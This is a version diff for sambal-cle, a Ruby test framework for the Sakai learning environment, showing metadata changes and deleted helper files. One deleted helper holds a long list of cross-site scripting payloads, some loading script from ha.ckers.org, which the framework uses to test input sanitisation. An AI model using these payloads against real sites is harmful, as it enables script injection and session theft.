sambal-cle 0.1.3 → 0.1.4
Sign up to get free protection for your applications and to get access to all the features.
- data/README.md +3 -1
- data/lib/sambal-cle/base_page.rb +3 -1
- data/lib/sambal-cle/data_objects/announcement.rb +7 -10
- data/lib/sambal-cle/data_objects/assessment.rb +265 -9
- data/lib/sambal-cle/data_objects/assignment.rb +38 -32
- data/lib/sambal-cle/data_objects/assignment_permissions.rb +61 -0
- data/lib/sambal-cle/data_objects/assignment_submission.rb +126 -0
- data/lib/sambal-cle/data_objects/blog.rb +4 -7
- data/lib/sambal-cle/data_objects/blogger.rb +4 -10
- data/lib/sambal-cle/data_objects/chat_room.rb +5 -8
- data/lib/sambal-cle/data_objects/event.rb +6 -17
- data/lib/sambal-cle/data_objects/forum.rb +9 -19
- data/lib/sambal-cle/data_objects/lesson.rb +8 -29
- data/lib/sambal-cle/data_objects/message.rb +7 -10
- data/lib/sambal-cle/data_objects/poll.rb +6 -11
- data/lib/sambal-cle/data_objects/resource.rb +28 -37
- data/lib/sambal-cle/data_objects/site.rb +6 -17
- data/lib/sambal-cle/data_objects/syllabus.rb +6 -8
- data/lib/sambal-cle/data_objects/user.rb +88 -0
- data/lib/sambal-cle/data_objects/web_content_tool.rb +5 -6
- data/lib/sambal-cle/data_objects/wiki.rb +6 -6
- data/lib/sambal-cle/page_objects/account.rb +0 -2
- data/lib/sambal-cle/page_objects/announcements.rb +0 -1
- data/lib/sambal-cle/page_objects/assessments.rb +57 -87
- data/lib/sambal-cle/page_objects/assignments.rb +117 -337
- data/lib/sambal-cle/page_objects/calendar.rb +0 -2
- data/lib/sambal-cle/page_objects/login.rb +3 -9
- data/lib/sambal-cle/page_objects/sections.rb +2 -3
- data/lib/sambal-cle/page_objects/site_setup.rb +9 -19
- data/lib/sambal-cle/rich_text.rb +6 -0
- data/lib/sambal-cle/utilities.rb +4 -10
- data/lib/sambal-cle/workflows.rb +1 -5
- data/lib/sambal-cle.rb +2 -10
- data/sambal-cle.gemspec +7 -8
- data/test/add_assignment_to_calendar_spec.rb +14 -15
- data/test/assessment_create_spec.rb +355 -0
- data/test/assignment_announcements_spec.rb +14 -15
- data/test/assignment_duplicate_spec.rb +56 -0
- data/test/assignment_gradebook_spec.rb +16 -15
- data/test/assignment_permissions_spec.rb +77 -0
- data/test/assignments_grading_spec.rb +123 -0
- data/test/assignments_submission_spec.rb +143 -0
- data/test/config.yml +3 -0
- data/test/directory.yml +120 -0
- data/test/duplicate_site_spec.rb +5 -3
- data/test/import_site_content_spec.rb +248 -0
- metadata +22 -31
- data/lib/sambal-cle/core-ext.rb +0 -90
- data/lib/sambal-cle/date_makers.rb +0 -118
- data/lib/sambal-cle/gem_ext.rb +0 -23
- data/lib/sambal-cle/page_helper.rb +0 -22
- data/lib/sambal-cle/page_maker.rb +0 -48
- data/lib/sambal-cle/randomizers.rb +0 -117
metadata
CHANGED
@@ -1,24 +1,25 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: sambal-cle
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 0.1.
|
4
|
+
version: 0.1.4
|
5
5
|
prerelease:
|
6
6
|
platform: ruby
|
7
7
|
authors:
|
8
8
|
- Abraham Heward
|
9
|
+
- Jon Utter
|
9
10
|
autorequire:
|
10
11
|
bindir: bin
|
11
12
|
cert_chain: []
|
12
|
-
date: 2012-10-
|
13
|
+
date: 2012-10-29 00:00:00.000000000 Z
|
13
14
|
dependencies:
|
14
15
|
- !ruby/object:Gem::Dependency
|
15
|
-
name:
|
16
|
+
name: test-factory
|
16
17
|
requirement: !ruby/object:Gem::Requirement
|
17
18
|
none: false
|
18
19
|
requirements:
|
19
20
|
- - ! '>='
|
20
21
|
- !ruby/object:Gem::Version
|
21
|
-
version: 0.
|
22
|
+
version: 0.0.1
|
22
23
|
type: :runtime
|
23
24
|
prerelease: false
|
24
25
|
version_requirements: !ruby/object:Gem::Requirement
|
@@ -26,36 +27,22 @@ dependencies:
|
|
26
27
|
requirements:
|
27
28
|
- - ! '>='
|
28
29
|
- !ruby/object:Gem::Version
|
29
|
-
version: 0.
|
30
|
-
|
31
|
-
|
32
|
-
requirement: !ruby/object:Gem::Requirement
|
33
|
-
none: false
|
34
|
-
requirements:
|
35
|
-
- - ! '>='
|
36
|
-
- !ruby/object:Gem::Version
|
37
|
-
version: 2.21.2
|
38
|
-
type: :runtime
|
39
|
-
prerelease: false
|
40
|
-
version_requirements: !ruby/object:Gem::Requirement
|
41
|
-
none: false
|
42
|
-
requirements:
|
43
|
-
- - ! '>='
|
44
|
-
- !ruby/object:Gem::Version
|
45
|
-
version: 2.21.2
|
46
|
-
description: The Sambal-CLE gem provides an API for interacting with pages and page
|
47
|
-
elements in rSmart's deployment of the Sakai Collaborative Learning Environment.
|
30
|
+
version: 0.0.1
|
31
|
+
description: This gem is used for creating test scripts for the Sakai Collaborative
|
32
|
+
Learning Environment.
|
48
33
|
email:
|
49
34
|
- ! '"aheward@rsmart.com"'
|
35
|
+
- ! '"jutter@rsmart.com"'
|
50
36
|
executables: []
|
51
37
|
extensions: []
|
52
38
|
extra_rdoc_files: []
|
53
39
|
files:
|
54
40
|
- lib/sambal-cle/base_page.rb
|
55
|
-
- lib/sambal-cle/core-ext.rb
|
56
41
|
- lib/sambal-cle/data_objects/announcement.rb
|
57
42
|
- lib/sambal-cle/data_objects/assessment.rb
|
58
43
|
- lib/sambal-cle/data_objects/assignment.rb
|
44
|
+
- lib/sambal-cle/data_objects/assignment_permissions.rb
|
45
|
+
- lib/sambal-cle/data_objects/assignment_submission.rb
|
59
46
|
- lib/sambal-cle/data_objects/blog.rb
|
60
47
|
- lib/sambal-cle/data_objects/blogger.rb
|
61
48
|
- lib/sambal-cle/data_objects/chat_room.rb
|
@@ -67,12 +54,9 @@ files:
|
|
67
54
|
- lib/sambal-cle/data_objects/resource.rb
|
68
55
|
- lib/sambal-cle/data_objects/site.rb
|
69
56
|
- lib/sambal-cle/data_objects/syllabus.rb
|
57
|
+
- lib/sambal-cle/data_objects/user.rb
|
70
58
|
- lib/sambal-cle/data_objects/web_content_tool.rb
|
71
59
|
- lib/sambal-cle/data_objects/wiki.rb
|
72
|
-
- lib/sambal-cle/date_makers.rb
|
73
|
-
- lib/sambal-cle/gem_ext.rb
|
74
|
-
- lib/sambal-cle/page_helper.rb
|
75
|
-
- lib/sambal-cle/page_maker.rb
|
76
60
|
- lib/sambal-cle/page_objects/account.rb
|
77
61
|
- lib/sambal-cle/page_objects/aliases.rb
|
78
62
|
- lib/sambal-cle/page_objects/announcements.rb
|
@@ -127,7 +111,6 @@ files:
|
|
127
111
|
- lib/sambal-cle/page_objects/syllabus.rb
|
128
112
|
- lib/sambal-cle/page_objects/user_membership.rb
|
129
113
|
- lib/sambal-cle/page_objects/users.rb
|
130
|
-
- lib/sambal-cle/randomizers.rb
|
131
114
|
- lib/sambal-cle/rich_text.rb
|
132
115
|
- lib/sambal-cle/utilities.rb
|
133
116
|
- lib/sambal-cle/workflows.rb
|
@@ -135,12 +118,20 @@ files:
|
|
135
118
|
- README.md
|
136
119
|
- sambal-cle.gemspec
|
137
120
|
- test/add_assignment_to_calendar_spec.rb
|
121
|
+
- test/assessment_create_spec.rb
|
138
122
|
- test/assignment_announcements_spec.rb
|
123
|
+
- test/assignment_duplicate_spec.rb
|
139
124
|
- test/assignment_gradebook_spec.rb
|
125
|
+
- test/assignment_permissions_spec.rb
|
126
|
+
- test/assignments_grading_spec.rb
|
127
|
+
- test/assignments_submission_spec.rb
|
128
|
+
- test/config.yml
|
140
129
|
- test/config.yml.template
|
130
|
+
- test/directory.yml
|
141
131
|
- test/directory.yml.template
|
142
132
|
- test/duplicate_site_spec.rb
|
143
|
-
|
133
|
+
- test/import_site_content_spec.rb
|
134
|
+
homepage: https://github.com/rSmart
|
144
135
|
licenses: []
|
145
136
|
post_install_message:
|
146
137
|
rdoc_options: []
|
@@ -163,5 +154,5 @@ rubyforge_project:
|
|
163
154
|
rubygems_version: 1.8.24
|
164
155
|
signing_key:
|
165
156
|
specification_version: 3
|
166
|
-
summary:
|
157
|
+
summary: rSmart's test framework for testing Sakai-CLE
|
167
158
|
test_files: []
|
data/lib/sambal-cle/core-ext.rb
DELETED
@@ -1,90 +0,0 @@
|
|
1
|
-
class Time
|
2
|
-
|
3
|
-
# Using the :year_range option (or no option), this method creates a
|
4
|
-
# Time object of a random value, within
|
5
|
-
# the year range specified (default is 5 years in the past).
|
6
|
-
#
|
7
|
-
# Using the :series option, this method returns an array
|
8
|
-
# containing a randomized Time object as its first element (limited by
|
9
|
-
# the specified :year_range value). Subsequent elements will be Time objects
|
10
|
-
# with values putting them later than the prior element, within the specified
|
11
|
-
# range value (see examples).
|
12
|
-
#
|
13
|
-
# Usage Examples:
|
14
|
-
# @example
|
15
|
-
# a random date...
|
16
|
-
# ?> Time.random
|
17
|
-
# => Tue Aug 05 00:00:00 EDT 2007
|
18
|
-
#
|
19
|
-
# birthdays, anyone?...
|
20
|
-
# 5.times { p Time.random(:year_range=>80) }
|
21
|
-
# Wed Feb 06 00:00:00 EDT 1974
|
22
|
-
# Tue Dec 22 00:00:00 EST 1992
|
23
|
-
# Fri Apr 14 00:00:00 EWT 1944
|
24
|
-
# Thu Jul 01 00:00:00 EDT 1993
|
25
|
-
# Wed Oct 02 00:00:00 EDT 2002
|
26
|
-
#
|
27
|
-
# A series of dates are useful for account-related info...
|
28
|
-
# ?> Time.random(:series=>[20.days, 3.years])
|
29
|
-
# => [Sat Jan 22 00:00:00 EST 2005,
|
30
|
-
# Sat Jan 29 12:58:45 EST 2005,
|
31
|
-
# Fri Sep 08 09:34:58 EDT 2006]
|
32
|
-
#
|
33
|
-
# or maybe to simulate events during an hour?...
|
34
|
-
# ?> Time.random(:series=>[1.hour,1.hour,1.hour])
|
35
|
-
# => [Wed Apr 21 00:00:00 EDT 2004,
|
36
|
-
# Wed Apr 21 00:45:59 EDT 2004,
|
37
|
-
# Wed Apr 21 01:02:47 EDT 2004,
|
38
|
-
# Wed Apr 21 01:31:00 EDT 2004]
|
39
|
-
def self.random(params={})
|
40
|
-
years_back = params[:year_range] || 5
|
41
|
-
year = (rand * (years_back)).ceil + (Time.now.year - years_back)
|
42
|
-
month = (rand * 12).ceil
|
43
|
-
day = (rand * 31).ceil
|
44
|
-
series = [date = Time.local(year, month, day)]
|
45
|
-
if params[:series]
|
46
|
-
params[:series].each do |some_time_after|
|
47
|
-
series << series.last + (rand * some_time_after).ceil
|
48
|
-
end
|
49
|
-
return series
|
50
|
-
end
|
51
|
-
date
|
52
|
-
end
|
53
|
-
|
54
|
-
end # Time
|
55
|
-
|
56
|
-
module Enumerable
|
57
|
-
|
58
|
-
# Use for getting a natural sort order instead of the ASCII
|
59
|
-
# sort order.
|
60
|
-
def alphabetize
|
61
|
-
sort { |a, b| grouped_compare(a, b) }
|
62
|
-
end
|
63
|
-
|
64
|
-
# Use for sorting an Enumerable object in place.
|
65
|
-
def alphabetize!
|
66
|
-
sort! { |a, b| grouped_compare(a, b) }
|
67
|
-
end
|
68
|
-
|
69
|
-
private
|
70
|
-
def grouped_compare(a, b)
|
71
|
-
loop {
|
72
|
-
a_chunk, a = extract_alpha_or_number_group(a)
|
73
|
-
b_chunk, b = extract_alpha_or_number_group(b)
|
74
|
-
ret = a_chunk <=> b_chunk
|
75
|
-
return -1 if a_chunk == ''
|
76
|
-
return ret if ret != 0
|
77
|
-
}
|
78
|
-
end
|
79
|
-
|
80
|
-
def extract_alpha_or_number_group(item)
|
81
|
-
test_item = item.downcase
|
82
|
-
matchdata = /([a-z]+|[\d]+)/.match(test_item)
|
83
|
-
if matchdata.nil?
|
84
|
-
["", ""]
|
85
|
-
else
|
86
|
-
[matchdata[0], test_item = test_item[matchdata.offset(0)[1] .. -1]]
|
87
|
-
end
|
88
|
-
end
|
89
|
-
|
90
|
-
end # Enumerable
|
@@ -1,118 +0,0 @@
|
|
1
|
-
# Some date and time helper functions....
|
2
|
-
module DateMakers
|
3
|
-
|
4
|
-
MONTHS = %w{JAN FEB MAR APR MAY JUN JUL AUG SEP OCT NOV DEC}
|
5
|
-
def an_hour_ago
|
6
|
-
date_factory(Time.now - 3600)
|
7
|
-
end
|
8
|
-
alias last_hour an_hour_ago
|
9
|
-
|
10
|
-
def right_now
|
11
|
-
date_factory(Time.now)
|
12
|
-
end
|
13
|
-
|
14
|
-
def in_an_hour
|
15
|
-
date_factory(Time.now + 3600)
|
16
|
-
end
|
17
|
-
alias next_hour in_an_hour
|
18
|
-
|
19
|
-
def last_year
|
20
|
-
date_factory(Time.now - (3600*24*365))
|
21
|
-
end
|
22
|
-
alias a_year_ago last_year
|
23
|
-
|
24
|
-
def last_month
|
25
|
-
index = MONTHS.index(current_month)
|
26
|
-
return MONTHS[index-1]
|
27
|
-
end
|
28
|
-
|
29
|
-
def hours_ago(num)
|
30
|
-
date_factory(Time.now - num*3600)
|
31
|
-
end
|
32
|
-
|
33
|
-
def hours_from_now(num)
|
34
|
-
date_factory(Time.now + num*3600)
|
35
|
-
end
|
36
|
-
|
37
|
-
def minutes_ago(num)
|
38
|
-
date_factory(Time.now - num*60)
|
39
|
-
end
|
40
|
-
|
41
|
-
def minutes_from_now(num)
|
42
|
-
date_factory(Time.now + num*60)
|
43
|
-
end
|
44
|
-
|
45
|
-
def current_month
|
46
|
-
Time.now.strftime("%^b")
|
47
|
-
end
|
48
|
-
|
49
|
-
def next_month
|
50
|
-
index = MONTHS.index(current_month)
|
51
|
-
if index < 11
|
52
|
-
return MONTHS[index+1]
|
53
|
-
else
|
54
|
-
return MONTHS[0]
|
55
|
-
end
|
56
|
-
end
|
57
|
-
|
58
|
-
def in_a_year
|
59
|
-
date_factory(Time.now + (3600*24*365))
|
60
|
-
end
|
61
|
-
|
62
|
-
def yesterday
|
63
|
-
date_factory(Time.now - (3600*24))
|
64
|
-
end
|
65
|
-
|
66
|
-
def tomorrow
|
67
|
-
date_factory(Time.now + (3600*24))
|
68
|
-
end
|
69
|
-
|
70
|
-
def in_a_week
|
71
|
-
date_factory(Time.now + (3600*24*7))
|
72
|
-
end
|
73
|
-
alias next_week in_a_week
|
74
|
-
|
75
|
-
def a_week_ago
|
76
|
-
date_factory(Time.now - (3600*24*7))
|
77
|
-
end
|
78
|
-
|
79
|
-
def next_monday
|
80
|
-
date_factory(Time.at(Time.now+(8-Time.now.wday)*24*3600))
|
81
|
-
end
|
82
|
-
|
83
|
-
# Formats a date string Sakai-style.
|
84
|
-
# Useful for verifying creation dates and such.
|
85
|
-
#
|
86
|
-
# Supplied variable must be of of the Time class.
|
87
|
-
def make_date(time_object)
|
88
|
-
month = time_object.strftime("%b ")
|
89
|
-
day = time_object.strftime("%-d")
|
90
|
-
year = time_object.strftime(", %Y ")
|
91
|
-
mins = time_object.strftime(":%M %P")
|
92
|
-
hour = time_object.strftime("%l").to_i
|
93
|
-
return month + day + year + hour.to_s + mins
|
94
|
-
end
|
95
|
-
|
96
|
-
# Takes a time object and returns a hash containing
|
97
|
-
# various parts of the relevant date.
|
98
|
-
def date_factory(time_object)
|
99
|
-
{
|
100
|
-
:sakai=>make_date(time_object),
|
101
|
-
:short_date=>time_object.strftime("%b %-d, %Y"), # => "Oct 18, 2013"
|
102
|
-
:MON => time_object.strftime("%^b"), # => "DEC"
|
103
|
-
:Mon => time_object.strftime("%b"), # => "Jan"
|
104
|
-
:Month => time_object.strftime("%B"), # => "February"
|
105
|
-
:month_int => time_object.month, # => 3
|
106
|
-
:day_of_month => time_object.day, # => 17 Note this is not zero-padded
|
107
|
-
:weekday => time_object.strftime("%A"), # => "Monday"
|
108
|
-
:wkdy => time_object.strftime("%a"), # => "Tue"
|
109
|
-
:year => time_object.year, # => 2013
|
110
|
-
:hour => time_object.strftime("%I").to_i, # => "07" Zero-padded, 12-hour clock
|
111
|
-
:minute => (time_object).strftime("%M"), # => "02" Zero-padded
|
112
|
-
:minute_rounded => (Time.at(time_object.to_i/(5*60)*(5*60))).strftime("%M"), # => "05" Zero-padded, rounded to 5-minute increments
|
113
|
-
:meridian => time_object.strftime("%P"), # => "pm"
|
114
|
-
:MERIDIAN => time_object.strftime("%p") # => "AM"
|
115
|
-
}
|
116
|
-
end
|
117
|
-
|
118
|
-
end
|
data/lib/sambal-cle/gem_ext.rb
DELETED
@@ -1,23 +0,0 @@
|
|
1
|
-
# Need this to extend Watir to be able to attach to Sakai's non-standard tags...
|
2
|
-
module Watir
|
3
|
-
class Element
|
4
|
-
# attaches to the "headers" tags inside of the assignments table.
|
5
|
-
def headers
|
6
|
-
@how = :ole_object
|
7
|
-
return @o.headers
|
8
|
-
end
|
9
|
-
|
10
|
-
# attaches to the "for" tags in "label" tags.
|
11
|
-
def for
|
12
|
-
@how = :ole_object
|
13
|
-
return @o.for
|
14
|
-
end
|
15
|
-
|
16
|
-
# attaches to the "summary" tag
|
17
|
-
def summary
|
18
|
-
@how = :ole_object
|
19
|
-
return @o.summary
|
20
|
-
end
|
21
|
-
|
22
|
-
end
|
23
|
-
end
|
@@ -1,22 +0,0 @@
|
|
1
|
-
module PageHelper
|
2
|
-
|
3
|
-
def visit page_class, &block
|
4
|
-
on page_class, true, &block
|
5
|
-
end
|
6
|
-
|
7
|
-
def on page_class, visit=false, &block
|
8
|
-
@current_page = page_class.new @browser, visit
|
9
|
-
block.call @current_page if block
|
10
|
-
@current_page
|
11
|
-
end
|
12
|
-
alias on_page on
|
13
|
-
|
14
|
-
def make data_object_class, opts={}
|
15
|
-
data_object_class.new @browser, opts
|
16
|
-
end
|
17
|
-
|
18
|
-
def wait_until(timeout=30, message=nil, &block)
|
19
|
-
Object::Watir::Wait.until(timeout, message, &block)
|
20
|
-
end
|
21
|
-
|
22
|
-
end
|
@@ -1,48 +0,0 @@
|
|
1
|
-
class PageMaker
|
2
|
-
|
3
|
-
def initialize browser, visit = false
|
4
|
-
@browser = browser
|
5
|
-
goto if visit
|
6
|
-
expected_element if respond_to? :expected_element
|
7
|
-
has_expected_title? if respond_to? :has_expected_title?
|
8
|
-
end
|
9
|
-
|
10
|
-
def method_missing sym, *args, &block
|
11
|
-
@browser.send sym, *args, &block
|
12
|
-
end
|
13
|
-
|
14
|
-
class << self
|
15
|
-
|
16
|
-
def page_url url
|
17
|
-
define_method 'goto' do
|
18
|
-
@browser.goto url
|
19
|
-
end
|
20
|
-
end
|
21
|
-
|
22
|
-
def expected_element element_name, timeout=30
|
23
|
-
define_method 'expected_element' do
|
24
|
-
self.send(element_name).wait_until_present timeout
|
25
|
-
end
|
26
|
-
end
|
27
|
-
|
28
|
-
def expected_title expected_title
|
29
|
-
define_method 'has_expected_title?' do
|
30
|
-
has_expected_title = expected_title.kind_of?(Regexp) ? expected_title =~ @browser.title : expected_title == @browser.title
|
31
|
-
raise "Expected title '#{expected_title}' instead of '#{@browser.title}'" unless has_expected_title
|
32
|
-
end
|
33
|
-
end
|
34
|
-
|
35
|
-
def element element_name
|
36
|
-
raise "#{element_name} is being defined twice in #{self}!" if self.instance_methods.include?(element_name.to_sym)
|
37
|
-
define_method element_name.to_s do
|
38
|
-
yield self
|
39
|
-
end
|
40
|
-
end
|
41
|
-
|
42
|
-
alias :value :element
|
43
|
-
alias :action :element
|
44
|
-
alias :thing :element
|
45
|
-
|
46
|
-
end
|
47
|
-
|
48
|
-
end # PageMaker
|
@@ -1,117 +0,0 @@
|
|
1
|
-
# coding: UTF-8
|
2
|
-
module Randomizers
|
3
|
-
|
4
|
-
# A random string creator that draws from all printable ASCII characters
|
5
|
-
# from 33 to 128. Default length is 10 characters.
|
6
|
-
def random_string(length=10, s="")
|
7
|
-
length.enum_for(:times).inject(s) do |result, index|
|
8
|
-
s << rand(93) + 33
|
9
|
-
end
|
10
|
-
end
|
11
|
-
|
12
|
-
# A random string creator that draws from all printable ASCII and High ASCII characters
|
13
|
-
# from 33 to 256. Default length is 10 characters.
|
14
|
-
def random_high_ascii(length=10, s="")
|
15
|
-
length.enum_for(:times).inject(s) do |result, index|
|
16
|
-
s << rand(223) + 33
|
17
|
-
end
|
18
|
-
end
|
19
|
-
|
20
|
-
# A "friendlier" random string generator. No characters need to be escaped for valid URLs.
|
21
|
-
# Uses no Reserved or "Unsafe" characters.
|
22
|
-
# Also excludes the comma, the @ sign and the plus sign. Default length is 10 characters.
|
23
|
-
def random_nicelink(length=10)
|
24
|
-
chars = %w{a b c d e f g h j k m n p q r s t u v w x y z A B C D E F G H J K L M N P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9 _ - .}
|
25
|
-
(0...length).map { chars[rand(chars.size)]}.join
|
26
|
-
end
|
27
|
-
|
28
|
-
# Returns a string that is properly formatted like an email address.
|
29
|
-
# The string returned defaults to 268 characters long.
|
30
|
-
# Including a number between 1 and 62 will shrink this string by 62 minus the specified
|
31
|
-
# value.
|
32
|
-
def random_email(x=62)
|
33
|
-
x > 62 ? x=62 : x=x
|
34
|
-
chars = %w{a b c d e f g h j k m n p q r s t u v w x y z A B C D E F G H J K L M N P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9 ! # $ % & ' * + - / = ? ^ _ ` { | } ~}
|
35
|
-
random_alphanums(1) + (0...x).map { chars[rand(chars.size)]}.join + random_alphanums(1) + "@" + random_alphanums(60) + ".com"
|
36
|
-
end
|
37
|
-
|
38
|
-
# A random string generator that uses all characters
|
39
|
-
# available on an American Qwerty keyboard.
|
40
|
-
def random_alphanums_plus(length=10, s="")
|
41
|
-
chars = %w{ a b c d e f g h j k m n p q r s t u v w x y z A B C D E F G H J K L M N P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9 ` ~ ! @ # $% ^ & * ( ) _ + - = { } [ ] \ : " ; ' < > ? , . / }
|
42
|
-
length.times { s << chars[rand(chars.size)] }
|
43
|
-
s.to_s
|
44
|
-
end
|
45
|
-
|
46
|
-
# A random string generator that uses only letters and numbers in the string. Default length is 10 characters.
|
47
|
-
def random_alphanums(length=10, s="")
|
48
|
-
chars = 'abcdefghjkmnpqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ0123456789'
|
49
|
-
length.times { s << chars[rand(chars.size)] }
|
50
|
-
s.to_s
|
51
|
-
end
|
52
|
-
|
53
|
-
# A random string generator that uses only lower case letters.
|
54
|
-
def random_letters(length=10, s="")
|
55
|
-
chars = 'abcdefghjkmnpqrstuvwxyz'
|
56
|
-
length.times { s << chars[rand(chars.size)] }
|
57
|
-
s.to_s
|
58
|
-
end
|
59
|
-
|
60
|
-
# Returns a block of text (of the specified type, see below) containing
|
61
|
-
# the specified number of "words" (each containing between 1 and 16 chars)
|
62
|
-
# randomly spread across the specified number of lines (note that
|
63
|
-
# the method does not allow the line count to be larger than
|
64
|
-
# the word count and will "fix" it if it is).
|
65
|
-
#
|
66
|
-
# If no parameters are provided, the method will return two alphanumeric
|
67
|
-
# "words" on two lines.
|
68
|
-
#
|
69
|
-
# The last parameter the method takes will determine the character content
|
70
|
-
# of the string, viz.:
|
71
|
-
#
|
72
|
-
# :alpha => "Alphanumeric" - Uses the random_alphanums method
|
73
|
-
# :string => uses the random_string method, so chars 33 through 128 will be included
|
74
|
-
# :ascii => All ASCII chars from 33 to 256 are fair game -> uses random_high_ascii
|
75
|
-
def random_multiline(word_count=2, line_count=2, char_type=:alpha)
|
76
|
-
char_methods = {:alpha=>"random_alphanums(rand(16)+1)", :string=>"random_string(rand(16)+1)", :ascii=>"random_high_ascii(rand(16)+1)"}
|
77
|
-
if line_count > word_count
|
78
|
-
line_count = word_count - 1
|
79
|
-
end
|
80
|
-
words = []
|
81
|
-
non_words = []
|
82
|
-
word_count.times { words << eval(char_methods[char_type]) } # creating the words, adding to the array
|
83
|
-
(line_count - 1).times { non_words << "\n" } # adding the number of line feeds
|
84
|
-
unless word_count==line_count
|
85
|
-
(word_count - line_count - 1).times { non_words << " " } # adding the right number of spaces
|
86
|
-
end
|
87
|
-
non_words.shuffle! # Have to shuffle the line feeds around!
|
88
|
-
array = words.zip(non_words)
|
89
|
-
array.flatten!
|
90
|
-
array.join("")
|
91
|
-
end
|
92
|
-
|
93
|
-
# Picks at random from the list of XSS test strings, using
|
94
|
-
# the provided number as size of the list to choose from.
|
95
|
-
# It will randomly pre-pend the string with HTML closing tags.
|
96
|
-
#
|
97
|
-
# The strings are organized by length, with the shorter ones
|
98
|
-
# first. There are 102 strings.
|
99
|
-
def random_xss_string(number=102)
|
100
|
-
if number > 102
|
101
|
-
number = 102
|
102
|
-
end
|
103
|
-
xss = ["<PLAINTEXT>", "\\\";alert('XSS');//", "'';!--\"<XSS>=&{()}", "<IMG SRC=\"mocha:alert('XSS')\">", "<BODY ONLOAD=alert('XSS')>", "<BODY ONLOAD =alert('XSS')>", "<BR SIZE=\"&{alert('XSS')}\">", "¼script¾alert(¢XSS¢)¼/script¾", "<IMG SRC=\"livescript:alert('XSS')\">", "<SCRIPT SRC=//ha.ckers.org/.j>", "<IMG SRC=javascript:alert('XSS')>", "<IMG SRC=JaVaScRiPt:alert('XSS')>", "<<SCRIPT>alert(\"XSS\");//<</SCRIPT>", "<IMG SRC=\"javascript:alert('XSS')\"", "<IMG SRC='vbscript:msgbox(\"XSS\")'>", "<A HREF=\"http://1113982867/\">XSS</A>", "<IMG SRC=\"javascript:alert('XSS');\">", "<IMG SRC=\"jav\tascript:alert('XSS');\">", "<XSS STYLE=\"behavior: url(xss.htc);\">", "</TITLE><SCRIPT>alert(\"XSS\");</SCRIPT>", "<IMG DYNSRC=\"javascript:alert('XSS')\">", "<A HREF=\"http://66.102.7.147/\">XSS</A>", "<IMG LOWSRC=\"javascript:alert('XSS')\">", "<BGSOUND SRC=\"javascript:alert('XSS');\">", "<BASE HREF=\"javascript:alert('XSS');//\">", "<IMG \"\"\"><SCRIPT>alert(\"XSS\")</SCRIPT>\">", "<SCRIPT>a=/XSS/ alert(a.source)</SCRIPT>", "<IMG SRC=\"jav
ascript:alert('XSS');\">", "<IMG SRC=\"jav
ascript:alert('XSS');\">", "<XSS STYLE=\"xss:expression(alert('XSS'))\">", "<IMG SRC=\"jav	ascript:alert('XSS');\">", "<SCRIPT SRC=http://ha.ckers.org/xss.js?<B>", "<IMG SRC=\"  javascript:alert('XSS');\">", "<IMG SRC=javascript:alert("XSS")>", "<BODY BACKGROUND=\"javascript:alert('XSS')\">", "<TABLE BACKGROUND=\"javascript:alert('XSS')\">", "<DIV STYLE=\"width: expression(alert('XSS'));\">", "<TABLE><TD BACKGROUND=\"javascript:alert('XSS')\">", "<iframe src=http://ha.ckers.org/scriptlet.html <", "<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>", "<IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME>", "<A HREF=\"http://0x42.0x0000066.0x7.0x93/\">XSS</A>", "<IMG STYLE=\"xss:expr/*XSS*/ession(alert('XSS'))\">", "<A HREF=\"http://0102.0146.0007.00000223/\">XSS</A>", "<IMG SRC=`javascript:alert(\"RSnake says, 'XSS'\")`>", "<SCRIPT/SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<SCRIPT SRC=\"http://ha.ckers.org/xss.jpg\"></SCRIPT>", "<STYLE TYPE=\"text/javascript\">alert('XSS');</STYLE>", "<BODY onload!\#$%&()*~+-_.,:;?@[/|\\]^`=alert(\"XSS\")>", "<INPUT TYPE=\"IMAGE\" SRC=\"javascript:alert('XSS');\">", "<STYLE>@im\\port'\\ja\\vasc\\ript:alert(\"XSS\")';</STYLE>", "<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>", "<SCRIPT/XSS SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<? echo('<SCR)'; echo('IPT>alert(\"XSS\")</SCRIPT>'); ?>", "<SCRIPT =\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<LINK REL=\"stylesheet\" HREF=\"javascript:alert('XSS');\">", "<SCRIPT a=`>` SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<SCRIPT a=\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<LAYER SRC=\"http://ha.ckers.org/scriptlet.html\"></LAYER>", "<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>", "<SCRIPT \"a='>'\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<LINK REL=\"stylesheet\" HREF=\"http://ha.ckers.org/xss.css\">", "<SCRIPT a=\">'>\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<SCRIPT a=\">\" '' SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>", "<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">", "perl -e 'print \"<SCR\\0IPT>alert(\\\"XSS\\\")</SCR\\0IPT>\";' > out", "<IMG SRC = \" j a v a s c r i p t : a l e r t ( ' X S S ' ) \" >", "Redirect 302 /a.jpg http://www.rsmart.com/admin.asp&deleteuser", "perl -e 'print \"<IMG SRC=java\\0script:alert(\\\"XSS\\\")>\";' > out", "<!--[if gte IE 4]> <SCRIPT>alert('XSS');</SCRIPT> <![endif]-->", "<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">", "<A HREF=\"http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D\">XSS</A>", "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">", "a=\"get\"; b=\"URL(\\\"\"; c=\"javascript:\"; d=\"alert('XSS');\\\")\"; eval(a+b+c+d);", "<STYLE>BODY{-moz-binding:url(\"http://ha.ckers.org/xssmoz.xml#xss\")}</STYLE>", "<EMBED SRC=\"http://ha.ckers.org/xss.swf\" 